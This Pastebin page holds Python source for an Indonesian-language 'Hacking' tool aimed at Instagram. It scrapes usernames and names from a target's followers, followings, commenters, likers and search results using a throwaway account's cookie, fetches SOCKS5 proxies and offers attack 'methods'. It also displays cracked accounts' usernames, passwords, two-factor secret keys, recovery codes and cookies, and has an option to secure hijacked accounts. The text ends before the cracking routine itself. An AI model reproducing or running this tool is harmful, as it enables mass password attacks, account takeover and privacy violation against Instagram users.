Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # create by ZORA ID 2024
- import uuid, hmac, hashlib, urllib, shutil, base64
- import os, re, sys, json, time, random, datetime, requests
- from asset.enc_password import Requre
- from asset.amankan_data import Require
- from asset.useragent import Useragent
- from facebook import Facebook
- from bs4 import BeautifulSoup as bs
- from rich.tree import Tree
- from rich import print as printz
- from rich.panel import Panel
- from rich.console import Console
- from rich.columns import Columns
- from concurrent.futures import ThreadPoolExecutor
- dump = []
- class Requ:
- def __init__(self) -> None:
- self.proxies = []
- pass
- def Convert_Name(self, xxx, cookie):
- with requests.Session() as r:
- try:
- response = r.get(f'https://www.instagram.com/{xxx}/', headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}, cookies={'cookie': cookie}).text
- if 'user_id' in str(response):
- return(re.findall('"user_id":"(\d+)"', str(response))[0])
- except (Exception) as e: pass
- def Convert_Url(self, xxx, cookie):
- with requests.Session() as r:
- try:
- response = r.get(xxx, cookies={'cookie': cookie}).text
- if 'media_id' in str(response):
- return(re.findall('{"media_id":"(.*?)"',str(response))[0])
- except (Exception) as e: exit(e)
- def Validasi_Username(self, username):
- with requests.Session() as r:
- try:
- response = r.get("https://i.instagram.com/api/v1/users/web_profile_info/?username={}".format(username), headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}).json()
- return (response["data"]["user"]["full_name"], response["data"]["user"]["edge_followed_by"]["count"], response["data"]["user"]["edge_follow"]["count"], response["data"]["user"]["edge_owner_to_timeline_media"]["count"])
- except (Exception) as e: return(None,None,None,None)
- def Socksku(self):
- with requests.Session() as r:
- try:
- response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
- for prox in response.splitlines():
- self.proxies.append(prox)
- return self.proxies
- except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()
- class Terminal:
- def __init__(self) -> None:
- pass
- def Clear_Terminal(self):
- os.system('clear' if 'linux' in sys.platform.lower() else 'cls')
- def Banner_Terminal(self):
- self.Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel("""[bold red]●[bold yellow] ●[bold green] ●[bold white]
- [bold red] _____ _____ _____) __
- [bold red] (, / | , (, / / (__/ )
- /---| __ __ / / ___ /
- [bold white] ) / |_/_)__(_ ___/__/ / ) ) /
- [bold white] (_/ .-/ (__ / (____ / (_/
- (_/
- [bold white]Version :[bold blue] 2.0[bold white] || Status :[bold green] Premium[bold white] || Type :[bold blue] Hacking"""))
- return ("Berhasil")
- def Layar_Terminal(self):
- self.get_terminal_size = re.search('columns=(\d+),', str(os.get_terminal_size())).group(1)
- if int(self.get_terminal_size) < 65:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Anda Diwajibkan Untuk Mengecilkan Tampilan Termux Sampai Kotak Ini Terlihat Rapi!..."))
- exit()
- else:
- pass
- class Login:
- def __init__(self) -> None:
- Terminal().Layar_Terminal()
- pass
- def Username_And_Password(self):
- try:
- Terminal().Banner_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Cookie Instagram, Pastikan Akun Tidak Limite!", subtitle = "╭─────", subtitle_align = "left"))
- cookies = Console().input("[bold grey50] ╰─> ")
- if len(cookies) >0:
- self.username, self.fullname = self.Validasi_Cookies(cookies)
- with open('Cookie_Instagram.json', 'w') as wr:
- wr.write(json.dumps({
- "Cookie": cookies,
- }))
- wr.close()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Datang [green]{self.username}/{self.fullname}[white], Jalankan Ulang Perintahnya!!..."))
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Masukan Cookie Instagram, Masukan Dengan Benar, Jangan Kosong Ngab!!..."))
- exit()
- except (KeyboardInterrupt, Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Opss, Cookies Salah, Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!"))
- exit()
- def Validasi_Cookies(self, cookies):
- with requests.Session() as r:
- r.headers.update({
- 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3',
- })
- response = r.get('https://i.instagram.com/api/v1/users/{}/info/'.format(re.findall('ds_user_id=(\d+)',str(cookies))[0]), cookies = {
- 'cookie': cookies
- })
- self.payload = json.loads(response.text)
- if '\'username\':' in str(self.payload):
- self.username = self.payload['user']['username']
- self.fullname = self.payload['user']['full_name']
- return(self.username, self.fullname)
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Opss, Cookies Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!"))
- time.sleep(3.5)
- self.Username_And_Password()
- class Instagram:
- def __init__(self):
- self.Kilometers, self.Meterans, self.amankan_akun = [],[],[]
- self.success, self.chekpoint, self.faktor, self.looping = 0,0,0,0
- def Remove_Cookie(self):
- try: os.system('rm -rf Cookie_Instagram.json')
- except (Exception): pass
- Login().Username_And_Password()
- def Chek_Cookies(self, created, exspired, sisa):
- try:
- cookie = json.loads(open('Cookie_Instagram.json', 'r').read())['Cookie']
- self.Menu_Instagram(created, exspired, sisa, cookie)
- except (FileNotFoundError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().input("[bold grey50] ╰─> File Not Found Error!!..")
- self.Remove_Cookie()
- def Menu_Instagram(self, created, exspired, sisa, cookie):
- try:
- self.username, self.fullname = Login().Validasi_Cookies(cookie)
- except (KeyError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().input("[bold grey50] ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!..")
- self.Remove_Cookie()
- except (requests.exceptions.ConnectionError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().input("[bold grey50] ╰─> Terjadi Kesalahan, Koneksi Anda Error!!..")
- self.Chek_Cookies()
- try:
- Terminal().Banner_Terminal()
- self.Kilometers.append(Panel(f'[bold green]•[bold white] Username [bold green]{self.username}\n[bold green]•[bold white] Fullname [bold green]{self.fullname}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Info Akun) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
- self.Kilometers.append(Panel(f'[bold green]•[bold white] Bergabung [bold green]{created}\n[bold green]•[bold white] Expired [bold green]{exspired} [bold yellow]{sisa}[bold white] hari', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Info License) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
- Console().print(Columns(self.Kilometers))
- except (AttributeError) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack Nama Dari Follower\t[bold white][bold green]06[bold white]. Chek Result Crack\n[bold white][bold green]02[bold white]. Crack Nama Dari Followed\t[bold white][bold green]07[bold white]. Beralih Ke Facebook\n[bold white][bold green]03[bold white]. Crack Nama Dari Search\t[bold white][bold red]00[bold white].[bold red] Deleted Cookies\n[bold white][bold green]04[bold white]. Crack Nama Dari Komentar\n[bold white][bold green]05[bold white]. Crack Nama Dari Likes''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Menu Instagram) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- query = Console().input("[bold grey50] ╰─> ")
- if query == '01' or query == '1':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- uid = Requ().Convert_Name(self.username, cookie)
- try: self.Dump_Followers(uid, cookie, '')
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '02' or query == '2':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- uid = Requ().Convert_Name(self.username, cookie)
- try: self.Dump_Following(uid, cookie, '')
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '03' or query == '3':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Search(self.username, cookie)
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '04' or query == '4':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- uid = Requ().Convert_Url(self.username, cookie)
- try: self.Dump_Komentar(uid, cookie, '')
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '05' or query == '5':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- uid = Requ().Convert_Url(self.username, cookie)
- try: self.Dump_Likers(uid, cookie, '')
- except (Exception) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '06' or query == '6':
- try:
- Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result 2F\n[bold green]03[bold white]. Chek Result CP',style='bold grey50'), justify='center')
- choose = Console().input("[bold grey50] ╰─> ")
- if choose =='01' or choose =='1':
- try:
- file = os.listdir('/sdcard/OK')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File OK) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]OK-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- elif choose =='02' or choose =='2':
- try:
- file = os.listdir('/sdcard/2F')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File 2F) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File 2F, Masukan Nama File, Misalnya : [bold red]2F-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- elif choose =='03' or choose =='3':
- try:
- file = os.listdir('/sdcard/CP')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File CP) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '07' or query == '7':
- try: Facebook()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '00' or query == '0':
- try: self.Remove_Cookie()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Dump_Search(self, username, cookie):
- with requests.Session() as r:
- try:
- response = r.get(f'https://i.instagram.com/api/v1/web/search/topsearch/?context=blended&query={self.username}&rank_token=0.11856792192547738&include_reel=true',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
- for akun in response['users']:
- if akun not in dump:
- dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(self.username)[:20]}/{len(dump)} Username... ", end='\r')
- if 'next_max_id' in str(response):
- self.Dump_Search(self.username, cookie)
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Dump_Followers(self, username, cookie, max_id):
- with requests.Session() as r:
- try:
- params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
- response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/followers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
- for akun in response['users']:
- if akun not in dump:
- dump.append(akun['username']+'<=>'+akun['full_name'])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username... ", end='\r')
- if 'next_max_id' in str(response):
- self.Dump_Followers(username, cookie, response['next_max_id'])
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Dump_Following(self, username, cookie, max_id):
- with requests.Session() as r:
- try:
- params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
- response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/following/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
- for akun in response['users']:
- if akun not in dump:
- dump.append(akun['username']+'<=>'+akun['full_name'])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username... ", end='\r')
- if 'next_max_id' in str(response):
- self.Dump_Following(username, cookie, response['next_max_id'])
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Dump_Komentar(self, username, cookie, max_min):
- with requests.Session() as r:
- try:
- params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
- response = r.get(f'https://www.instagram.com/api/v1/media/{username}/comments/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
- for akun in response['comments']:
- if akun not in dump:
- dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username... ", end='\r')
- if 'next_min_id' in str(response):
- self.Dump_Komentar(username, cookie, response['next_min_id'])
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Dump_Likers(self, username, cookie, max_min):
- with requests.Session() as r:
- try:
- params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
- response = r.get(f'https://www.instagram.com/api/v1/media/{username}/likers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
- for akun in response['users']:
- if akun not in dump:
- dump.append(akun['username']+'<=>'+akun['full_name'])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username... ", end='\r')
- if 'next_min_id' in str(response):
- self.Dump_Komentar(username, cookie, response['next_min_id'])
- except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
- def Result(self, result, isi):
- if result in ('1','01'):
- for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
- try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f'\r╭ auth secure account',style='green'); true.add(f"status two {buka.split('|')[6]}"); true.add(f"secret key {buka.split('|')[7]}"); true.add(f"pemulihan {buka.split('|')[8]}"); true.add(f"telephone {buka.split('|')[9]}"); true.add(f"add email {buka.split('|')[10]}"); true.add(f"web email {buka.split('|')[11]}"); true = tree.add(f"Cookie {buka.split('|')[12]}"); tree.add("Success cek in Result OK"); printz(tree)
- except Exception: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f"Cookie {buka.split('|')[6]}"); tree.add("Success cek in Result OK"); printz(tree)
- elif result in ('2','02'):
- for buka in open(f'/sdcard/2F/'+str(isi)).readlines():
- try: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='red'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result 2F"); printz(tree)
- except Exception: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result 2F"); printz(tree)
- elif result in ('3','03'):
- for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
- try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='yellow'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result CP"); printz(tree)
- except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result CP"); printz(tree)
- def Methode(self):
- try:
- self.Meterans.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Api V1\n[bold green]02.[bold white] Methode [bold green]Api Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Url Api) [bold green]<[bold yellow]<[bold red]<',width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
- self.Meterans.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Ajax V1\n[bold green]04.[bold white] Methode [bold green]Ajax Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Url Ajax) [bold green]<[bold yellow]<[bold red]<',width = 32, style='bold grey50'))
- Console().print(Columns(self.Meterans))
- Kntl = Console().input("[bold grey50] ╰─> ")
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan Auto Amankan Data Akun OK (y/t)", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Secure Akun) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Secure_Akun = Console().input("[bold grey50] ╰─> ")
- if Secure_Akun =='y' or Secure_Akun =='ya':
- self.amankan_akun.append('ya')
- self.Exec_Methode(Kntl)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Simpan_Result(self):
- self.waktu = datetime.datetime.now()
